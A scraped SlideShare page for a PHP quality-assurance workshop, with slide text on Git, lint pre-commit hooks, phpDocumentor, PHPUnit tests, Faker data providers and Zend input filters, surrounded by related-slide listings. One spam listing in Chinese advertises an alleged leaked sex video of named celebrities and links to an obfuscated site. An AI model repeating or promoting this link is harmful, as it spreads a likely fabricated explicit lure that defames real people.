Mark Baker
 
Dockerize All The Things
Dockerize All The ThingsDockerize All The Things
Dockerize All The Things
Chris Tankersley
 
Introduction to Continuous Integration with Jenkins
Introduction to Continuous Integration with JenkinsIntroduction to Continuous Integration with Jenkins
Introduction to Continuous Integration with Jenkins
Eric Hogue
 
Modern PHP Developer
Modern PHP DeveloperModern PHP Developer
Modern PHP Developer
Achmad Solichin
 
The road to php 7.1
The road to php 7.1The road to php 7.1
The road to php 7.1
Michelangelo van Dam
 
Driving Design through Examples
Driving Design through ExamplesDriving Design through Examples
Driving Design through Examples
CiaranMcNulty
 
Hexagonal architecture message-oriented software design
Hexagonal architecture   message-oriented software designHexagonal architecture   message-oriented software design
Hexagonal architecture message-oriented software design
Matthias Noback
 
Consequences of an Insightful Algorithm
Consequences of an Insightful AlgorithmConsequences of an Insightful Algorithm
Consequences of an Insightful Algorithm
Carina C. Zona
 

Viewers also liked (18)

Composer the right way - SunshinePHP
Composer the right way - SunshinePHPComposer the right way - SunshinePHP
Composer the right way - SunshinePHP
 
Your code are my tests
Your code are my testsYour code are my tests
Your code are my tests
 
Diving into HHVM Extensions (PHPNW Conference 2015)
Diving into HHVM Extensions (PHPNW Conference 2015)Diving into HHVM Extensions (PHPNW Conference 2015)
Diving into HHVM Extensions (PHPNW Conference 2015)
 
TDD: Team-Driven Development
TDD: Team-Driven DevelopmentTDD: Team-Driven Development
TDD: Team-Driven Development
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Are you a good scout? - PHPNW15 Unconf
Are you a good scout? - PHPNW15 UnconfAre you a good scout? - PHPNW15 Unconf
Are you a good scout? - PHPNW15 Unconf
 
Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015
 
Your Inner Sysadmin - Tutorial (SunshinePHP 2015)
Your Inner Sysadmin - Tutorial (SunshinePHP 2015)Your Inner Sysadmin - Tutorial (SunshinePHP 2015)
Your Inner Sysadmin - Tutorial (SunshinePHP 2015)
 
Building Your API for Longevity
Building Your API for LongevityBuilding Your API for Longevity
Building Your API for Longevity
 
TDD with PhpSpec
TDD with PhpSpecTDD with PhpSpec
TDD with PhpSpec
 
Zephir - A Wind of Change for writing PHP extensions
Zephir - A Wind of Change for writing PHP extensionsZephir - A Wind of Change for writing PHP extensions
Zephir - A Wind of Change for writing PHP extensions
 
Dockerize All The Things
Dockerize All The ThingsDockerize All The Things
Dockerize All The Things
 
Introduction to Continuous Integration with Jenkins
Introduction to Continuous Integration with JenkinsIntroduction to Continuous Integration with Jenkins
Introduction to Continuous Integration with Jenkins
 
Modern PHP Developer
Modern PHP DeveloperModern PHP Developer
Modern PHP Developer
 
The road to php 7.1
The road to php 7.1The road to php 7.1
The road to php 7.1
 
Driving Design through Examples
Driving Design through ExamplesDriving Design through Examples
Driving Design through Examples
 
Hexagonal architecture message-oriented software design
Hexagonal architecture   message-oriented software designHexagonal architecture   message-oriented software design
Hexagonal architecture message-oriented software design
 
Consequences of an Insightful Algorithm
Consequences of an Insightful AlgorithmConsequences of an Insightful Algorithm
Consequences of an Insightful Algorithm
 

Similar to QA for PHP projects

Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Michelangelo van Dam
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfast
Michelangelo van Dam
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい
Hisateru Tanaka
 
Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)
Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)
Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)
Mike Schinkel
 
PHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source ProjectPHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source Project
xsist10
 
Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8
Michelangelo van Dam
 
[WLDN] Supercharging word press development in 2018
[WLDN] Supercharging word press development in 2018[WLDN] Supercharging word press development in 2018
[WLDN] Supercharging word press development in 2018
Adam Tomat
 
Quality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStormQuality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStorm
Michelangelo van Dam
 
symfony on action - WebTech 207
symfony on action - WebTech 207symfony on action - WebTech 207
symfony on action - WebTech 207
patter
 
Becoming a better WordPress Developer
Becoming a better WordPress DeveloperBecoming a better WordPress Developer
Becoming a better WordPress Developer
Joey Kudish
 
Virtual Madness @ Etsy
Virtual Madness @ EtsyVirtual Madness @ Etsy
Virtual Madness @ Etsy
Nishan Subedi
 
CodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkCodeIgniter PHP MVC Framework
CodeIgniter PHP MVC Framework
Bo-Yi Wu
 
Getting started with TDD - Confoo 2014
Getting started with TDD - Confoo 2014Getting started with TDD - Confoo 2014
Getting started with TDD - Confoo 2014
Eric Hogue
 
Api Design
Api DesignApi Design
Api Design
sartak
 
Phactory
PhactoryPhactory
Phactory
chriskite
 
Refactoring using Codeception
Refactoring using CodeceptionRefactoring using Codeception
Refactoring using Codeception
Jeroen van Dijk
 
Separation of concerns - DPC12
Separation of concerns - DPC12Separation of concerns - DPC12
Separation of concerns - DPC12
Stephan Hochdörfer
 
Как получить чёрный пояс по WordPress?
Как получить чёрный пояс по WordPress?Как получить чёрный пояс по WordPress?
Как получить чёрный пояс по WordPress?
Yevhen Kotelnytskyi
 
[Bristol WordPress] Supercharging WordPress Development
[Bristol WordPress] Supercharging WordPress Development[Bristol WordPress] Supercharging WordPress Development
[Bristol WordPress] Supercharging WordPress Development
Adam Tomat
 
Testing persistence in PHP with DbUnit
Testing persistence in PHP with DbUnitTesting persistence in PHP with DbUnit
Testing persistence in PHP with DbUnit
Peter Wilcsinszky
 

Similar to QA for PHP projects (20)

Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfast
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい
 
Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)
Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)
Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)
 
PHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source ProjectPHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source Project
 
Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8
 
[WLDN] Supercharging word press development in 2018
[WLDN] Supercharging word press development in 2018[WLDN] Supercharging word press development in 2018
[WLDN] Supercharging word press development in 2018
 
Quality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStormQuality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStorm
 
symfony on action - WebTech 207
symfony on action - WebTech 207symfony on action - WebTech 207
symfony on action - WebTech 207
 
Becoming a better WordPress Developer
Becoming a better WordPress DeveloperBecoming a better WordPress Developer
Becoming a better WordPress Developer
 
Virtual Madness @ Etsy
Virtual Madness @ EtsyVirtual Madness @ Etsy
Virtual Madness @ Etsy
 
CodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkCodeIgniter PHP MVC Framework
CodeIgniter PHP MVC Framework
 
Getting started with TDD - Confoo 2014
Getting started with TDD - Confoo 2014Getting started with TDD - Confoo 2014
Getting started with TDD - Confoo 2014
 
Api Design
Api DesignApi Design
Api Design
 
Phactory
PhactoryPhactory
Phactory
 
Refactoring using Codeception
Refactoring using CodeceptionRefactoring using Codeception
Refactoring using Codeception
 
Separation of concerns - DPC12
Separation of concerns - DPC12Separation of concerns - DPC12
Separation of concerns - DPC12
 
Как получить чёрный пояс по WordPress?
Как получить чёрный пояс по WordPress?Как получить чёрный пояс по WordPress?
Как получить чёрный пояс по WordPress?
 
[Bristol WordPress] Supercharging WordPress Development
[Bristol WordPress] Supercharging WordPress Development[Bristol WordPress] Supercharging WordPress Development
[Bristol WordPress] Supercharging WordPress Development
 
Testing persistence in PHP with DbUnit
Testing persistence in PHP with DbUnitTesting persistence in PHP with DbUnit
Testing persistence in PHP with DbUnit
 

More from Michelangelo van Dam

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and default
Michelangelo van Dam
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functions
Michelangelo van Dam
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
Michelangelo van Dam
 
DevOps or DevSecOps
DevOps or DevSecOpsDevOps or DevSecOps
DevOps or DevSecOps
Michelangelo van Dam
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
Michelangelo van Dam
 
Continuous deployment 2.0
Continuous deployment 2.0Continuous deployment 2.0
Continuous deployment 2.0
Michelangelo van Dam
 
Let your tests drive your code
Let your tests drive your codeLet your tests drive your code
Let your tests drive your code
Michelangelo van Dam
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's story
Michelangelo van Dam
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantage
Michelangelo van Dam
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful business
Michelangelo van Dam
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me later
Michelangelo van Dam
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutes
Michelangelo van Dam
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heaven
Michelangelo van Dam
 
Getting hands dirty with php7
Getting hands dirty with php7Getting hands dirty with php7
Getting hands dirty with php7
Michelangelo van Dam
 
Create, test, secure, repeat
Create, test, secure, repeatCreate, test, secure, repeat
Create, test, secure, repeat
Michelangelo van Dam
 
The Continuous PHP Pipeline
The Continuous PHP PipelineThe Continuous PHP Pipeline
The Continuous PHP Pipeline
Michelangelo van Dam
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an api
Michelangelo van Dam
 
200K+ reasons security is a must
200K+ reasons security is a must200K+ reasons security is a must
200K+ reasons security is a must
Michelangelo van Dam
 
90K Reasons Security is a Must - PHPWorld 2014
90K Reasons Security is a Must - PHPWorld 201490K Reasons Security is a Must - PHPWorld 2014
90K Reasons Security is a Must - PHPWorld 2014
Michelangelo van Dam
 
Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014
Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014
Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014
Michelangelo van Dam
 

More from Michelangelo van Dam (20)

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and default
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functions
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
DevOps or DevSecOps
DevOps or DevSecOpsDevOps or DevSecOps
DevOps or DevSecOps
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
Continuous deployment 2.0
Continuous deployment 2.0Continuous deployment 2.0
Continuous deployment 2.0
 
Let your tests drive your code
Let your tests drive your codeLet your tests drive your code
Let your tests drive your code
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's story
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantage
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful business
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me later
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutes
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heaven
 
Getting hands dirty with php7
Getting hands dirty with php7Getting hands dirty with php7
Getting hands dirty with php7
 
Create, test, secure, repeat
Create, test, secure, repeatCreate, test, secure, repeat
Create, test, secure, repeat
 
The Continuous PHP Pipeline
The Continuous PHP PipelineThe Continuous PHP Pipeline
The Continuous PHP Pipeline
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an api
 
200K+ reasons security is a must
200K+ reasons security is a must200K+ reasons security is a must
200K+ reasons security is a must
 
90K Reasons Security is a Must - PHPWorld 2014
90K Reasons Security is a Must - PHPWorld 201490K Reasons Security is a Must - PHPWorld 2014
90K Reasons Security is a Must - PHPWorld 2014
 
Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014
Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014
Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014
 

Recently uploaded

SCADAmetrics Instrumentation for Sensus Water Meters - Core and Main Training...
SCADAmetrics Instrumentation for Sensus Water Meters - Core and Main Training...SCADAmetrics Instrumentation for Sensus Water Meters - Core and Main Training...
SCADAmetrics Instrumentation for Sensus Water Meters - Core and Main Training...
Jim Mimlitz, P.E.
 
FINE-TUNING OF SMALL/MEDIUM LLMS FOR BUSINESS QA ON STRUCTURED DATA
FINE-TUNING OF SMALL/MEDIUM LLMS FOR BUSINESS QA ON STRUCTURED DATAFINE-TUNING OF SMALL/MEDIUM LLMS FOR BUSINESS QA ON STRUCTURED DATA
FINE-TUNING OF SMALL/MEDIUM LLMS FOR BUSINESS QA ON STRUCTURED DATA
kevig
 
# Smart Parking Management System.pptx using IOT
# Smart Parking Management System.pptx using IOT# Smart Parking Management System.pptx using IOT
# Smart Parking Management System.pptx using IOT
Yesh20
 
IE-469-Lecture-Notes-3IE-469-Lecture-Notes-3.pptx
IE-469-Lecture-Notes-3IE-469-Lecture-Notes-3.pptxIE-469-Lecture-Notes-3IE-469-Lecture-Notes-3.pptx
IE-469-Lecture-Notes-3IE-469-Lecture-Notes-3.pptx
BehairyAhmed2
 
Generative-AI-a-boost-for-operations-Presentation.pdf
Generative-AI-a-boost-for-operations-Presentation.pdfGenerative-AI-a-boost-for-operations-Presentation.pdf
Generative-AI-a-boost-for-operations-Presentation.pdf
Aries716858
 
Hate speech detection using machine learning
Hate speech detection using machine learningHate speech detection using machine learning
Hate speech detection using machine learning
rakeshrocking3
 
Introduction And Differences Between File System And Dbms.pptx
Introduction And Differences Between File System And Dbms.pptxIntroduction And Differences Between File System And Dbms.pptx
Introduction And Differences Between File System And Dbms.pptx
SerendipityYoon
 
Ludo system project report management .pdf
Ludo  system project report management .pdfLudo  system project report management .pdf
Ludo system project report management .pdf
Kamal Acharya
 
Adv. Digital Signal Processing LAB MANUAL.pdf
Adv. Digital Signal Processing LAB MANUAL.pdfAdv. Digital Signal Processing LAB MANUAL.pdf
Adv. Digital Signal Processing LAB MANUAL.pdf
T.D. Shashikala
 
杨洋李一桐做爱视频流出【网芷:ht28.co】国产国产午夜精华>>>[网趾:ht28.co】]<<<
杨洋李一桐做爱视频流出【网芷:ht28.co】国产国产午夜精华>>>[网趾:ht28.co】]<<<杨洋李一桐做爱视频流出【网芷:ht28.co】国产国产午夜精华>>>[网趾:ht28.co】]<<<
杨洋李一桐做爱视频流出【网芷:ht28.co】国产国产午夜精华>>>[网趾:ht28.co】]<<<
amzhoxvzidbke
 
Chapter 1 Introduction to Software Engineering and Process Models.pdf
Chapter 1 Introduction to Software Engineering and Process Models.pdfChapter 1 Introduction to Software Engineering and Process Models.pdf
Chapter 1 Introduction to Software Engineering and Process Models.pdf
MeghaGupta952452
 
Tutorial on MySQl and its basic concepts
Tutorial on MySQl and its basic conceptsTutorial on MySQl and its basic concepts
Tutorial on MySQl and its basic concepts
anishacotta2
 
ANATOMY OF SOA - Thomas Erl - Service Oriented Architecture
ANATOMY OF SOA - Thomas Erl - Service Oriented ArchitectureANATOMY OF SOA - Thomas Erl - Service Oriented Architecture
ANATOMY OF SOA - Thomas Erl - Service Oriented Architecture
Divya Rajasekar
 
Chartered Cost Engineer ChCE certification.pdf
Chartered Cost Engineer ChCE certification.pdfChartered Cost Engineer ChCE certification.pdf
Chartered Cost Engineer ChCE certification.pdf
GAFM ACADEMY
 
OSHA LOTO training, LOTO, lock out tag out
OSHA LOTO training, LOTO, lock out tag outOSHA LOTO training, LOTO, lock out tag out
OSHA LOTO training, LOTO, lock out tag out
Ateeb19
 
Metal air battery presentation for online interview
Metal air battery presentation for online interviewMetal air battery presentation for online interview
Metal air battery presentation for online interview
muhammadhamza505998
 
charting the development of the autonomous train
charting the development of the autonomous traincharting the development of the autonomous train
charting the development of the autonomous train
huseindihon
 
Python programming Introduction about Python
Python programming Introduction about PythonPython programming Introduction about Python
Python programming Introduction about Python
Senthil Vit
 
Top EPC companies in India - Best EPC Contractor
Top EPC companies in India - Best EPC  ContractorTop EPC companies in India - Best EPC  Contractor
Top EPC companies in India - Best EPC Contractor
MangeshK6
 
readers writers Problem in operating system
readers writers Problem in operating systemreaders writers Problem in operating system
readers writers Problem in operating system
VADAPALLYPRAVEENKUMA1
 

Recently uploaded (20)

SCADAmetrics Instrumentation for Sensus Water Meters - Core and Main Training...
SCADAmetrics Instrumentation for Sensus Water Meters - Core and Main Training...SCADAmetrics Instrumentation for Sensus Water Meters - Core and Main Training...
SCADAmetrics Instrumentation for Sensus Water Meters - Core and Main Training...
 
FINE-TUNING OF SMALL/MEDIUM LLMS FOR BUSINESS QA ON STRUCTURED DATA
FINE-TUNING OF SMALL/MEDIUM LLMS FOR BUSINESS QA ON STRUCTURED DATAFINE-TUNING OF SMALL/MEDIUM LLMS FOR BUSINESS QA ON STRUCTURED DATA
FINE-TUNING OF SMALL/MEDIUM LLMS FOR BUSINESS QA ON STRUCTURED DATA
 
# Smart Parking Management System.pptx using IOT
# Smart Parking Management System.pptx using IOT# Smart Parking Management System.pptx using IOT
# Smart Parking Management System.pptx using IOT
 
IE-469-Lecture-Notes-3IE-469-Lecture-Notes-3.pptx
IE-469-Lecture-Notes-3IE-469-Lecture-Notes-3.pptxIE-469-Lecture-Notes-3IE-469-Lecture-Notes-3.pptx
IE-469-Lecture-Notes-3IE-469-Lecture-Notes-3.pptx
 
Generative-AI-a-boost-for-operations-Presentation.pdf
Generative-AI-a-boost-for-operations-Presentation.pdfGenerative-AI-a-boost-for-operations-Presentation.pdf
Generative-AI-a-boost-for-operations-Presentation.pdf
 
Hate speech detection using machine learning
Hate speech detection using machine learningHate speech detection using machine learning
Hate speech detection using machine learning
 
Introduction And Differences Between File System And Dbms.pptx
Introduction And Differences Between File System And Dbms.pptxIntroduction And Differences Between File System And Dbms.pptx
Introduction And Differences Between File System And Dbms.pptx
 
Ludo system project report management .pdf
Ludo  system project report management .pdfLudo  system project report management .pdf
Ludo system project report management .pdf
 
Adv. Digital Signal Processing LAB MANUAL.pdf
Adv. Digital Signal Processing LAB MANUAL.pdfAdv. Digital Signal Processing LAB MANUAL.pdf
Adv. Digital Signal Processing LAB MANUAL.pdf
 
杨洋李一桐做爱视频流出【网芷:ht28.co】国产国产午夜精华>>>[网趾:ht28.co】]<<<
杨洋李一桐做爱视频流出【网芷:ht28.co】国产国产午夜精华>>>[网趾:ht28.co】]<<<杨洋李一桐做爱视频流出【网芷:ht28.co】国产国产午夜精华>>>[网趾:ht28.co】]<<<
杨洋李一桐做爱视频流出【网芷:ht28.co】国产国产午夜精华>>>[网趾:ht28.co】]<<<
 
Chapter 1 Introduction to Software Engineering and Process Models.pdf
Chapter 1 Introduction to Software Engineering and Process Models.pdfChapter 1 Introduction to Software Engineering and Process Models.pdf
Chapter 1 Introduction to Software Engineering and Process Models.pdf
 
Tutorial on MySQl and its basic concepts
Tutorial on MySQl and its basic conceptsTutorial on MySQl and its basic concepts
Tutorial on MySQl and its basic concepts
 
ANATOMY OF SOA - Thomas Erl - Service Oriented Architecture
ANATOMY OF SOA - Thomas Erl - Service Oriented ArchitectureANATOMY OF SOA - Thomas Erl - Service Oriented Architecture
ANATOMY OF SOA - Thomas Erl - Service Oriented Architecture
 
Chartered Cost Engineer ChCE certification.pdf
Chartered Cost Engineer ChCE certification.pdfChartered Cost Engineer ChCE certification.pdf
Chartered Cost Engineer ChCE certification.pdf
 
OSHA LOTO training, LOTO, lock out tag out
OSHA LOTO training, LOTO, lock out tag outOSHA LOTO training, LOTO, lock out tag out
OSHA LOTO training, LOTO, lock out tag out
 
Metal air battery presentation for online interview
Metal air battery presentation for online interviewMetal air battery presentation for online interview
Metal air battery presentation for online interview
 
charting the development of the autonomous train
charting the development of the autonomous traincharting the development of the autonomous train
charting the development of the autonomous train
 
Python programming Introduction about Python
Python programming Introduction about PythonPython programming Introduction about Python
Python programming Introduction about Python
 
Top EPC companies in India - Best EPC Contractor
Top EPC companies in India - Best EPC  ContractorTop EPC companies in India - Best EPC  Contractor
Top EPC companies in India - Best EPC Contractor
 
readers writers Problem in operating system
readers writers Problem in operating systemreaders writers Problem in operating system
readers writers Problem in operating system
 

QA for PHP projects

  • 1. QA for PHP projects in it2PROFESSIONAL PHP SERVICES
  • 2. Requirements • VirtualBox http://virtualbox.com • Vagrant https://vagrantup.com • Copy of https://github.com/in2it/phpqa-workshop • Copy of https://github.com/in2it/phpqa-testing
  • 3. Michelangelo van Dam! ! PHP Consultant Community Leader President of PHPBenelux Contributor to PHP projects ! T @DragonBe | F DragonBe https://www.flickr.com/photos/akrabat/8784318813
  • 4. Using Social Media? Tag it #phpqa http://www.flickr.com/photos/andyofne/4633356197 http://www.flickr.com/photos/andyofne/4633356197
  • 5. What is QA? Testing Measuring Automation
  • 14. GIT
  • 22. Advantages of SCM • Team development • Multi-versions management • Keep track of history • Tagging milestones • Backup of source code • Full integration https://www.flickr.com/photos/skoop/5397232723
  • 23. Exercise • Start a new project “phpqa-intro” • Initialise it as a GIT project • Create a “hello world” php script • Add it to the repository & commit
  • 24. Possible answer $ cd workspace $ mkdir phpqa-intro $ cd phpqa-intro $ git init $(master #) echo "<?php echo 'Hello World'; . PHP_EOL" > helloworld.php $(master #) git add helloworld.php $(master #) git commit -m 'Initial version of helloworld' [master (root-commit) 174c675] Initial commit of helloworld 1 file changed, 1 insertion(+) create mode 100644 helloworld.php $(master)
  • 27. PHP Lint php -l <filename>
  • 29. Exercise • Download the pre-commit hook from http://in2.se/ phplintgit (or get it from the USB drive) • Make sure you make it executable • Create a syntax error in error.php and commit it • See you get the error and ensure the file is not committed.
  • 30. Possible answer $(master) git checkout -b phplint $(phplint) wget -O .git/hooks/pre-commit http://in2.se/phplintgit $(phplint) chmod ugo+x .git/hooks/pre-commit $(phplint) echo "<?php echo 'Hello error' . PHP_EOL" > error.php $(phplint) git add error.php $(phplint +) git commit -m 'Trying to add code with errors' Syntax errors found in file: error.php ! Found PHP parse errors: PHP Parse error: parse error, expecting `','' or `';'' in /Users/ dragonbe/workspace/phpqa-intro/error.php on line 2 Parse error: parse error, expecting `','' or `';'' in /Users/dragonbe/workspace/phpqa- intro/error.php on line 2 ! PHP parse errors found. Fix errors and commit again. $(phplint +)
  • 32. Why providing docblocks? • Useful information about the class, method or logic • Provides hints in IDE’s • Great reference for • New team members • 3rd party developers https://www.flickr.com/photos/mundoo/2293493420
  • 35. Exercise • Create a class with a couple of methods (or use the class in “exercise/MyClass.php”) • Run phpdoc against this class ./vendor/bin/phpdoc  -­‐d  exercise/phpdoc  -­‐t  build/phpdoc   • See the resulting documentation files at http:// 192.168.166.166/phpdoc
  • 37. Most common excuses why developers don’t test • no time • no budget • deliver tests after finish project (never) • devs don’t know how https://www.flickr.com/photos/dasprid/8147986307
  • 40. PHPUnit & Composer {      "require":  {          "php":  "<=5.5.0"      },      "require-­‐dev":  {          "phpunit/phpunit":  "~4.4"      },   }
  • 41. phpunit.xml <?xml  version="1.0"  encoding="UTF-­‐8"?>   ! <phpunit          bootstrap="./vendor/autoload.php"          colors="true"          strict="true"          stopOnError="true"          stopOnFailure="true">   !        <testsuite  name="PHPQA  Workshop  TestSuite">                  <directory>./tests</directory>          </testsuite>   ! </phpunit>
  • 44. CommentTest <?php   namespace  PhpqaTestsModel;   ! use  PhpqaModelComment;   ! class  CommentTest  extends  PHPUnit_Framework_TestCase   {          public  function  testModelIsPopulatedAtConstruct()          {                  $data  =  [                          'commentId'        =>  1,                          'fullName'          =>  'Johny  Test',                          'emailAddress'  =>  'johny.test@example.com',                          'website'            =>  'http://johnytest.com',                          'comment'            =>  'This  is  a  comment',                  ];   !                $comment  =  new  Comment($data);                  $this-­‐>assertSame($data['commentId'],  $comment-­‐>getCommentId());                  $this-­‐>assertSame($data['fullName'],  $comment-­‐>getFullName());                  $this-­‐>assertSame($data['emailAddress'],  $comment-­‐>getEmailAddress());                  $this-­‐>assertSame($data['website'],  $comment-­‐>getWebsite());                  $this-­‐>assertSame($data['comment'],  $comment-­‐>getComment());          }   }  
  • 48. Exercise • Test Comment class that you can convert it directly into an array • BONUS: Also test you can convert it into JSON
  • 50. A few remarks • Testing against databases is “integration testing” • Testing against databases is slow • Testing against databases is only useful for • triggers & stored procedures • correct encoding and collations
  • 51. Data is just “Data”
  • 53. Generated data        /**            *  Provides  data  that  we  consider  to  be  safe  and  of  quality            *  @return  array            */          public  function  goodDataProvider()          {                  $faker  =  FakerFactory::create();                  $data  =  [];                  for  ($iter  =  0;  $iter  <  500;  $iter++)  {                          $data[]  =  [                                  'commentId'        =>  rand(1,  time()),                                  'fullName'          =>  $faker-­‐>name,                                  'emailAddress'  =>  $faker-­‐>email,                                  'website'            =>  $faker-­‐>url,                                  'comment'            =>  $faker-­‐>text(),                          ];                  }                  return  $data;          }
  • 54. Modify our test        /**            *  @dataProvider  goodDataProvider            */          public  function  testModelIsPopulatedAtConstruct($data)          {                  $comment  =  new  Comment($data);                  $this-­‐>assertSame($data['commentId'],  $comment-­‐>getCommentId());                  $this-­‐>assertSame($data['fullName'],  $comment-­‐>getFullName());                  $this-­‐>assertSame($data['emailAddress'],  $comment-­‐>getEmailAddress());                  $this-­‐>assertSame($data['website'],  $comment-­‐>getWebsite());                  $this-­‐>assertSame($data['comment'],  $comment-­‐>getComment());          }
  • 58. Is this your project?
  • 61. First modify our class <?php   namespace  PhpqaModel;   ! use  ZendInputFilterInputFilter;   use  ZendInputFilterInput;   use  ZendFilter;   use  ZendValidator;   ! class  Comment   {          /**            *  @var  InputFilter            */          protected  $inputFilter;          /**            *  @return  InputFilter            */          public  function  getInputFilter()          {                  //  Lazy  loading  of  filter  and  validation  rules                  if  (null  ===  $this-­‐>inputFilter)  {                  }                  return  $this-­‐>inputFilter;          }
  • 62. Filter/Validate        $commentId  =  new  Input('commentId');          $commentId-­‐>getFilterChain()                  -­‐>attach(new  FilterInt());          $commentId-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorGreaterThan(['min'  =>  0]));   !        $fullName  =  new  Input('fullName');          $fullName-­‐>getFilterChain()                  -­‐>attach(new  FilterStringTrim())                  -­‐>attach(new  FilterStripTags())                  -­‐>attach(new  FilterHtmlEntities());          $fullName-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorNotEmpty())                  -­‐>attach(new  ValidatorStringLength(['min'  =>  5,  'max'  =>  150]));
  • 63. Filter/Validate (2)        $emailAddress  =  new  Input('emailAddress');          $emailAddress-­‐>getFilterChain()                  -­‐>attach(new  FilterStringToLower());          $emailAddress-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorNotEmpty())                  -­‐>attach(new  ValidatorEmailAddress());   !        $website  =  new  Input('website');          $website-­‐>getFilterChain()                  -­‐>attach(new  FilterStringToLower());          $website-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorUri());   !        $comment  =  new  Input('comment');          $comment-­‐>getFilterChain()                  -­‐>attach(new  FilterStripTags())                  -­‐>attach(new  FilterHtmlEntities());
  • 64. InputFilter        $inputFilter  =  new  InputFilter();          $inputFilter-­‐>add($commentId)                  -­‐>add($fullName)                  -­‐>add($emailAddress)                  -­‐>add($website)                  -­‐>add($comment);   !        $this-­‐>setInputFilter($inputFilter);
